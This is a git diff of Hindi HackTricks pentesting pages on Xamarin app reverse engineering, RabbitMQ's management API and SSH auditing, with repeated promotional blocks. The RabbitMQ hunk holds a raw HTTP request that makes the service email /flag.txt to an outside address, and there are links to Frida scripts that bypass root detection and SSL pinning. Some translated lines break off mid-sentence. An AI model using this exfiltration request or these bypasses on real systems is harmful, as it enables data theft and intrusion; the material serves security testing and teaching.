* **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या मुझे **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)** का** अनुसरण करें।**
* **अपने हैकिंग ट्रिक्स साझा करें, PRs सबमिट करके** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **और** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **में**
</details>

View file

@ -4,82 +4,82 @@
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* क्या आप किसी **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी **कंपनी को HackTricks में विज्ञापित** देखना चाहते हैं? या क्या आपको **PEASS की नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करने का उपयोग** करने की इच्छा है? [**सदस्यता योजनाएं**](https://github.com/sponsors/carlospolop) की जांच करें!
* क्या आप किसी **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी **कंपनी को HackTricks में विज्ञापित** देखना चाहते हैं? या क्या आपको **PEASS की नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करने की अनुमति** चाहिए? [**सदस्यता योजनाएं**](https://github.com/sponsors/carlospolop) की जांच करें!
* खोजें [**The PEASS Family**](https://opensea.io/collection/the-peass-family), हमारा विशेष संग्रह [**NFTs**](https://opensea.io/collection/the-peass-family)
* प्राप्त करें [**आधिकारिक PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में या मुझे **Twitter** पर **फ़ॉलो** करें [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **अपने हैकिंग ट्रिक्स साझा करें द्वारा PRs सबमिट करके** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **और** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **को।**
* **अपने हैकिंग ट्रिक्स साझा करें और** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **और** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **में PR जमा करके** देखें।
</details>
## **मूलभूत जानकारी**
Xamarin एक ओपन-सोर्स प्लेटफ़ॉर्म है जो डेवलपरों को एक व्यापक उपकरण और ऐड-ऑन का उपयोग करने की सुविधा प्रदान करता है, जिससे वे **.NET और C#** फ़्रेमवर्क का उपयोग करके iOS, Android और Windows के लिए आधुनिक ऐप्स बना सकते हैं
Xamarin एक ओपन-सोर्स प्लेटफ़ॉर्म है जो डेवलपरों को .NET और C# फ़्रेमवर्क का उपयोग करके iOS, Android और Windows के लिए आधुनिक ऐप्स बनाने की सुविधा प्रदान करती है
### Xamarin Android Architecture
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Xamarin .NET बाइंडिंग्स प्रदान करता है Android.\* और Java.\* नेमस्पेस को। Xamarin.
Xamarin .NET बाइंडिंग्स Android.\* और Java.\* नेमस्पेस को प्रदान करता है। Xamarin.
Android ऐप्लिकेशन Mono निष्पादन परिवेश के तहत कार्य करते हैं, जहां Android रनटाइम (ART) वर्चुअल मशीन साइड बाय साइड चल रही होती है।
Android ऐप्लिकेशन Mono निष्पादन पर्यावरण के तहत कार्य करते हैं, जहां Android रनटाइम (ART) वर्चुअल मशीन साइड बाय साइड चलती है।
Mono निष्पादन परिवेश MCW के माध्यम से इन नेमस्पेस में कॉल करता है और ART को Android कॉलेबल रैपर्स (ACW) देता है।
Mono निष्पादन पर्यावरण MCW (Managed Callable Wrappers) के माध्यम से इन नेमस्पेस में कॉल करता है और ART को ACW (Android Callable Wrappers) प्रदान करता है।
इन दोनों परिवेशों को लिनक्स कर्नल के ऊपर चलाया जाता है और उपयोगकर्ता कोड के लिए विभिन्न API को आमंत्रित करता है। इस व्यवस्था से डेवलपरों को नीचे के सिस्टम तक पहुंचने की सुविधा मिलती है।
इन दोनों पर्यावरणों को लिनक्स कर्नल के ऊपर चलाया जाता है और उपयोगकर्ता कोड के लिए विभिन्न API को आमंत्रित करता है। इस व्यवस्था से डेवलपरों को निम्नलिखित प्रणाली तक पहुंच मिलती है।
### Xamarin iOS Project
Xamarin.iOS ऐप्लिकेशन Mono रनटाइम परिवेश के तहत कार्य करते हैं और C# .NET कोड को ARM असेंबली भाषा में कंपाइल करने के लिए पूर्ण आगे कंपाइलेशन (AOT) का उपयोग करते हैं।
Xamarin.iOS ऐप्लिकेशन Mono रनटाइम पर्यावरण के तहत कार्य करते हैं और C# .NET कोड को ARM असेंबली भाषा में कंपाइल करने के लिए पूर्ण आगे कंपाइलेशन (AOT) का उपयोग करते हैं।
यह Objective-C रनटाइम के साथ चलता है। रनटाइम परिवेश एक UNIX-जैसे कर्नल के ऊपर चलते हैं और उपयोगकर्ता कोड के लिए कई API को आमंत्रित करते हैं, जिससे डेवलपर्स को प्रबंधित या प्राकृतिक सिस्टम तक पहुंच मिलती है।
यह Objective-C रनटाइम के साथ चलता है। रनटाइम पर्यावरण एक UNIX-जैसे कर्नल के ऊपर चलते हैं और उपयोगकर्ता कोड के लिए कई API को आमंत्रित करते हैं, जिससे डेवलपरों को प्रबंधित या प्राकृतिक प्रणाली तक पहुंच मिलती है।
नीचे दिए गए आरेखण दिया गया है:
नीचे दिए गए आरेखण द्वारा इस वास्तविकता को दर्शाया गया है:
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
### .Net Runtime और Mono Framework क्या हैं?
**.Net फ़्रेमवर्क एक संगठन, कक्षाएं और नेमस्पेस का सेट है** जिन्हें डेवलपर एप्लिकेशन बनाने के लिए उपयोग कर सकते हैं; .Net Runtime कंपाइल किए गए कोड को चलाता है, और इस प्रक्रिया को मैनेज्ड कोड निष्पादन कहा जाता है। .NET Runtime पुराने फ़्रेमवर्क संस्करणों के साथ संगत होने और प्लेटफ़ॉर्म निर्भरता सुनिश्चित करने कई सुविधाएं प्रदान करता है।
**.Net फ़्रेमवर्क एक संग्रह हैं, जिसमें डेवलपर एप्लिकेशन बनाने के लिए उपयोग कर सकते हैं; .Net Runtime कंपाइल किए गए कोड को चलाता है, और इस प्रक्रिया को मैनेज्ड कोड निष्पादन कहा जाता है। .NET Runtime पुराने फ़्रेमवर्क संस्करणों के साथ संगत होने और प्लेटफ़ॉर्म स्वतंत्रता सुनिश्चित करने कई सुविधाएँ प्रदान करता है।
**Mono Framework** 2005 में शुरू हुआ था जो लिनक्स (Ximian/SuSe/Novell) के लिए .NET फ़्रेमवर्क के एक अमल के रूप में था। Microsoft द्वारा प्रायोजित और Xamarin द्वारा नेतृत्व किया जाने वाला Mono, ECMA मानकों पर आधारित .NET फ़्रेमवर्क का ओपन-सोर्स अमल है।
**Mono Framework** 2005 में Linux (Ximian/SuSe/Novell) के लिए .NET फ़्रेमवर्क के एक अमल के रूप में शुरू किया गया था। Microsoft द्वारा प्रायोजित और Xamarin द्वारा नेतृत्व किया जाने वाला Mono, ECMA मानकों पर आधारित .NET फ़्रेमवर्क का ओपन-सोर्स अमल है।
## Xamarin Apps के लिए Reverse Engineering Techniques
## Xamarin Apps के लिए Reverse Engineering तकनीकें
### Xamarin Assemblies का Decompilation
### Xamarin असेंबलीज़ का डीकंपाइल
Decompilation एक प्रक्रिया है जिसका उपयोग कंपाइल किए गए को
डीकंपाइलेशन एक प्रक्रिया है जिसका उपयोग कंपाइल किए गए कोड से स्रोत कोड उत्पन्न करने के लिए किया ज
## APK/IPA से dll फ़ाइलें प्राप्त करना
बस **apk/ipa** फ़ाइल को अनज़िप करें और assemblies निर्देशिका के तहत मौजूद सभी फ़ाइलें कॉपी करें:
<figure><img src="../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
एंड्रॉइड **APK के मामले में ये dll फ़ाइलें संपीड़ित** होती हैं और सीधे डिकंपाइलेशन के लिए सीधे उपयोग नहीं की जा सकती हैं। भाग्य से हमें ऐसे उपकरण भी मिलते हैं जिनका हम उपयोग कर सकते हैं इन dll फ़ाइलों को **अनसंदर्भित करने** के लिए जैसे [XamAsmUnZ](https://github.com/cihansol/XamAsmUnZ) और [xamarin-decompress](https://github.com/NickstaDB/xamarin-decompress).
एंड्रॉइड **APK के मामले में ये dll फ़ाइलें संपीड़ित** होती हैं और सीधे डकंपाइलेशन के लिए सीधे उपयोग नहीं की जा सकती हैं। भाग्य से हमें ऐसे उपकरण भी मिलते हैं जिनका हम उपयोग कर सकते हैं इन dll फ़ाइलों को **अनसंदर्भित करने के लिए** जैसे [XamAsmUnZ](https://github.com/cihansol/XamAsmUnZ) और [xamarin-decompress](https://github.com/NickstaDB/xamarin-decompress).
```
python3 xamarin-decompress.py -o /path/to/decompressed/apk
```
यह संभव है कि आप एसेंबली निर्देशिका में `assemblies.blob` और `assemblies.manifest` देखेंगे बजाय dll फ़ाइलों के. यह एक Xamarin AssemblyStore है और एंड्रॉइड एप्लिकेशन में dlls पैक करने के लिए वर्तमान में सिफारिश किया जाने वाला तरीका है. `assemblies.manifest` एक पाठ फ़ाइल है जो `assemblies.blob` बाइनरी फ़ाइल की सामग्री का वर्णन करती है. इन्हें अनपैक करने के लिए आपको [pyxamstore](https://github.com/jakev/pyxamstore) का उपयोग करना होगा.
यह संभव है कि आप निर्देशिका में `assemblies.blob` और `assemblies.manifest` देखेंगे इसके बजाय dll फ़ाइलें। यह एक Xamarin AssemblyStore है और एंड्रॉइड एप्लिकेशन में dlls पैक करने के लिए वर्तमान में सिफारिश की जाने वाली तरीका है। `assemblies.manifest` एक पाठ फ़ाइल है जो `assemblies.blob` बाइनरी फ़ाइल की सामग्री का वर्णन करती है इन्हें अनपैक करने के लिए आपको [pyxamstore](https://github.com/jakev/pyxamstore) का उपयोग करना होगा
```
pyxamstore unpack -d /path/to/decompressed/apk/assemblies/
```
आईओएस के मामले में, IPA फ़ाइलों के भीतर **dll फ़ाइलें सीधे लोड की जा सकती हैं** एक डीकंपाइलर में (कुछ भी अनप्रेस करने की आवश्यकता नहीं होती है)।
**Dll फ़ाइलों को डीकंपाइल करने पर अधिकांश एप्लिकेशन कोड मिल सकता है।** यह भी ध्यान दें कि Xamarin Framework आधारित ऐप्स में iOS और Android आदि जैसे सभी प्लेटफ़ॉर्मों के बिल्ड में 90% साझा कोड होता है।
**Dll फ़ाइलों को डीकंपाइल करने पर अधिकांश एप्लिकेशन कोड पाया जा सकता है।** यह भी ध्यान दें कि Xamarin Framework आधारित ऐप्स में iOS और Android आदि जैसे सभी प्लेटफ़ॉर्मों के बिल्ड में 90% साझा कोड होता है।
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
उपरोक्त स्क्रीनशॉट में दिखाए गए apk में मौजूद थे dll फ़ाइलों की सूची के आधार पर, हम पुष्टि कर सकते हैं कि यह एक Xamarin ऐप है। इसमें ऐप-विशिष्ट dll फ़ाइलें शामिल हैं जो ऐप के लिए आवश्यक पुस्तकालय फ़ाइलें जैसे `Xamarin.Essentails.dll` या `Mono.Security.dll` शामिल हैं।
उपरोक्त स्क्रीनशॉट में दिखाए गए dll फ़ाइलों की सूची से हम पुष्टि कर सकते हैं कि यह एक Xamarin ऐप है। इसमें ऐप-विशिष्ट dll फ़ाइलें शामिल हैं जो ऐप के लिए आवश्यक पुस्तकालय फ़ाइलें जैसे `Xamarin.Essentails.dll` या `Mono.Security.dll` शामिल हैं।
{% hint style="success" %}
अंत में आप [**इन सिफारिश की गई उपकरणों**](../reversing/reversing-tools-basic-methods/#net-decompiler) का उपयोग करके DLL से **C# कोड** तक पहुंच सकते हैं।
अंत में आप [**इन सिफारिश किए गए उपकरणों**](../reversing/reversing-tools-basic-methods/#net-decompiler) का उपयोग करके DLL से **C# कोड** तक पहुंच सकते हैं।
{% endhint %}
## गतिशील विश्लेषण
जांचें कि क्या ऐप्लिकेशन में कोई भी प्रकार का SSL पिनिंग है। यदि नहीं है, तो अनुरोधों को अवरोधित करने के लिए बर्प का उपयोग करना चाहिए। **यहां फ्रीडा जावा या ObjC रनटाइम काम नहीं करेगा**, लेकिन भाग्य से ऐसा एक उपकरण है जिसका उपयोग विधियों में करने के लिए किया जा सकता है।
जांचें कि क्या ऐप्लिकेशन में कोई भी प्रकार का SSL पिनिंग है। यदि नहीं है, तो अनुरोधों को अवरोधित करने के लिए बर्प का उपयोग करना चाहिए। **यहां फ्रीडा जावा या ObjC रनटाइम काम नहीं करेगा**, लेकिन भाग्य से ऐसा एक उपकरण है जिसका उपयोग मेथडों में हुक करने के लिए किया जा सकता है।
[**Fridax**](https://github.com/NorthwaveSecurity/fridax) आपको आसानी से **एक्सामरिन ऐप्लिकेशन के भीतर .NET बाइनरी को रनटाइम में संशोधित करने** की अनुमति देता है। स्थिर विश्लेषण आपको ऐप्लिकेशन में मौजूद विभिन्न विधियों की पहचान करने में मदद करेगा, जिन्हें बाद में फ्रीडा का उपयोग करके गतिशील विश्लेषण के लिए हुक किया जा सकता है। नीचे कुछ फ्रीडा स्क्रिप्ट हैं जो हमें रूट डिटेक्शन या SSL पिनिंग को बाइपास करने में मदद कर सकते हैं:
[**Fridax**](https://github.com/NorthwaveSecurity/fridax) आपको आसानी से **एक्सामरिन ऐप्लिकेशन के भीतर .NET बाइनरी को रनटाइम पर संशोधित करने** की अनुमति देता है। स्थिर विश्लेषण आपको ऐप्लिकेशन में मौजूद विभिन्न मेथड्स की पहचान करने में मदद करेगा, जिन्हें फ्रीडा के उपयोग से गतिशील विश्लेषण के लिए हुक किया जा सकता है। नीचे कुछ फ्रीडा स्क्रिप्ट हैं जो हमें रूट डिटेक्शन या SSL पिनिंग को बाइपास करने में मदद कर सकते हैं:
* [**xamarin-antiroot**](https://codeshare.frida.re/@Gand3lf/xamarin-antiroot/)
* [**xamarin-root-detect-bypass**](https://codeshare.frida.re/@nuschpl/xamarin-root-detect-bypass/)
@ -97,7 +97,7 @@ pyxamstore unpack -d /path/to/decompressed/apk/assemblies/
* क्या आप **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी कंपनी को **हैकट्रिक्स में विज्ञापित** देखना चाहते हैं? या क्या आप **PEASS के नवीनतम संस्करण का उपयोग करना चाहते हैं या HackTricks को PDF में डाउनलोड करना चाहते हैं**? [**सदस्यता योजनाएं**](https://github.com/sponsors/carlospolop) की जांच करें!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) का संग्रह
* प्राप्त करें [**आधिकारिक PEASS और HackTricks swag**](https://peass.creator-spring.com)
* **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या मुझे **ट्विटर** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)** का** अनुसरण करें।**
* **अपने हैकिंग ट्रिक्स साझा करें, PRs सबमिट करके** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **और** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **को।**
* **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या मुझे **ट्विटर** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)** का** अनुसरण करें।
* **अपने हैकिंग ट्रिक्स साझा करें, हैकट्रिक्स रेपो में पीआर जमा करके** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **और** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **को फॉलो करके।**
</details>

View file

@ -4,15 +4,15 @@
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* क्या आप **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी कंपनी को **हैकट्रिक्स में विज्ञापित** देखना चाहते हैं? या क्या आपको **PEASS क नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करने का उपयोग** करने की आवश्यकता है? [**सदस्यता योजनाएं**](https://github.com/sponsors/carlospolop) की जांच करें!
* क्या आप **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी कंपनी को **हैकट्रिक्स में विज्ञापित** देखना चाहते हैं? या क्या आपको **PEASS क नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करने का उपयोग** करने की आवश्यकता है? [**सदस्यता योजनाएं**](https://github.com/sponsors/carlospolop) की जांच करें!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष संग्रह [**NFTs**](https://opensea.io/collection/the-peass-family)
* [**आधिकारिक PEASS & HackTricks swag**](https://peass.creator-spring.com) प्राप्त करें
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में **शामिल हों** या मुझे **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)** का पालन करें**.
* **हैकिंग ट्रिक्स साझा करें और PRs सबमिट करे** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **और** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **के लिए**
* **हैकिंग ट्रिक्स साझा करें और PRs सबमिट कर** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **और** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **क**
</details>
<img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
<img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
यदि आप **हैकिंग करियर** में रुचि रखते हैं और अहैकेबल को हैक करना चाहते हैं - **हम नियुक्ति कर रहे हैं!** (_अच्छी पोलिश लिखित और बोली जानी चाहिए_).
@ -35,13 +35,13 @@
rabbitmq-plugins enable rabbitmq_management
service rabbitmq-server restart
```
जब आप सही तरीके से प्रमाणीकृत हो जाएंगे, तो आप व्यवस्थापक कंसोल देखेंगे:
जब आप सही तरीके से प्रमाणीकृत हो जाएंगे तो आप व्यवस्थापक कंसोल देखेंगे:
![](<../.gitbook/assets/image (271) (1).png>)
इसके अलावा, यदि आपके पास मान्य प्रमाण पत्र हैं, तो आपको `http://localhost:15672/api/connections` की जानकारी दिलचस्प लग सकती है
इसके अलावा, यदि आपके पास मान्य क्रेडेंशियल्स हैं, तो आपको `http://localhost:15672/api/connections` की जानकारी दिलचस्प लग सकती है
ध्यान दें कि इस सेवा की एपीआई का उपयोग करके एक कतार में डेटा प्रकाशित करना संभव है, जैसे कि निम्नलिखित अनुरोध के साथ:
ध्यान दें कि इस सेवा की एपीआई का उपयोग करके एक कतार में डेटा प्रकाशित करना संभव है जैसे कि निम्नलिखित अनुरोध के साथ:
```bash
POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
Host: 172.32.56.72:15672
@ -52,13 +52,13 @@ Content-Length: 267
{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"zevtnax+ppp@gmail.com\", \"attachments\": [{\"path\": \"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}
```
### शो
### शो
* `port:15672 http`
<img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
<img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
यदि आप **हैकिंग करियर** में रुचि रखते हैं और हैक करना चाहते हैं - **हम भर्ती कर रहे हैं!** (_अच्छी पोलिश लिखने और बोलने की जानकारी आवश्यक_).
यदि आप **हैकिंग करियर** में रुचि रखते हैं और अहैकेबल को हैक करना चाहते हैं - **हम भर्ती कर रहे हैं!** (_अच्छी पोलिश लिखने और बोलने की जानकारी आवश्यक_).
{% embed url="https://www.stmcyber.com/careers" %}
@ -69,7 +69,7 @@ Content-Length: 267
* क्या आप **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी **कंपनी को HackTricks में विज्ञापित करना चाहते हैं**? या क्या आपको **PEASS के नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करने का उपयोग** करने की आवश्यकता है? [**सदस्यता योजनाएं**](https://github.com/sponsors/carlospolop) की जांच करें!
* खोजें [**The PEASS Family**](https://opensea.io/collection/the-peass-family), हमारा विशेष संग्रह [**NFTs**](https://opensea.io/collection/the-peass-family)
* प्राप्त करें [**आधिकारिक PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में या मुझे **ट्विटर** पर **फ़ॉलो** करें [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **अपने हैकिंग ट्रिक्स साझा करें और PRs सबमिट करें** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **और** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
* **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या मुझे **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)** का** **अनुसरण** करें।**
* **अपने हैकिंग ट्रिक्स को** [**hacktricks रेपो**](https://github.com/carlospolop/hacktricks) **और** [**hacktricks-cloud रेपो**](https://github.com/carlospolop/hacktricks-cloud) **को PR जमा करके साझा करें।**
</details>

View file

@ -4,15 +4,15 @@
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* क्या आप **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी कंपनी को **HackTricks में विज्ञापित** देखना चाहते हैं? या क्या आपको **PEASS की नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करने का उपयोग** करने की आवश्यकता है? [**सदस्यता योजनाएं**](https://github.com/sponsors/carlospolop) की जांच करें!
* क्या आप **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी कंपनी को **हैकट्रिक्स में विज्ञापित** देखना चाहते हैं? या क्या आपको **PEASS की नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करने का उपयोग** करने की इच्छा है? [**सदस्यता योजनाएं**](https://github.com/sponsors/carlospolop) की जांच करें!
* खोजें [**The PEASS Family**](https://opensea.io/collection/the-peass-family), हमारा विशेष संग्रह [**NFTs**](https://opensea.io/collection/the-peass-family)
* प्राप्त करें [**आधिकारिक PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या मुझे **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)** का पालन करें।**
* **अपने हैकिंग ट्रिक्स साझा करें और PRs सबमिट करें** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **और** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **को**
* **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या मुझे **ट्विटर** पर **फ़ॉलो** करें [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **अपने हैकिंग ट्रिक्स साझा करें और PRs सबमिट करें** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **और** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **को**
</details>
<img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
<img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
यदि आप **हैकिंग करियर** में रुचि रखते हैं और अहैकेबल को हैक करना चाहते हैं - हम नियुक्ति कर रहे हैं! (_अच्छी पोलिश लिखित और बोली जानी चाहिए_).
@ -50,7 +50,7 @@ nc -vn <IP> 22
ssh-audit एक टूल है जो ssh सर्वर और क्लाइंट कॉन्फ़िगरेशन की ऑडिटिंग के लिए है।
[https://github.com/jtesta/ssh-audit](https://github.com/jtesta/ssh-audit) [https://github.com/arthepsy/ssh-audit/](https://github.com/arthepsy/ssh-audit/) से एक अद्यतित फोर्क है।
[https://github.com/jtesta/ssh-audit](https://github.com/jtesta/ssh-audit) एक अद्यतित fork है [https://github.com/arthepsy/ssh-audit/](https://github.com/arthepsy/ssh-audit/)
**विशेषताएं:**
@ -64,7 +64,7 @@ ssh-audit एक टूल है जो ssh सर्वर और क्ला
* एल्गोरिदम सूचना के आधार पर SSH संस्करण संगतता विश्लेषण करें;
* OpenSSH, Dropbear SSH और libssh से ऐतिहासिक जानकारी;
* लिनक्स और विंडोज पर चलता है;
* कोई आवश्यकताएं नहीं हैं
* कोई आवश्यकताएं नहीं हैं
```bash
usage: ssh-audit.py [-1246pbcnjvlt] <host>
@ -85,10 +85,10 @@ use -t to change timeout)
(default: 5)
$ python3 ssh-audit <IP>
```
### सर्वर की पब्लिक SSH की चाबी
### सर्वर की पब्लिक SSH की
```plaintext
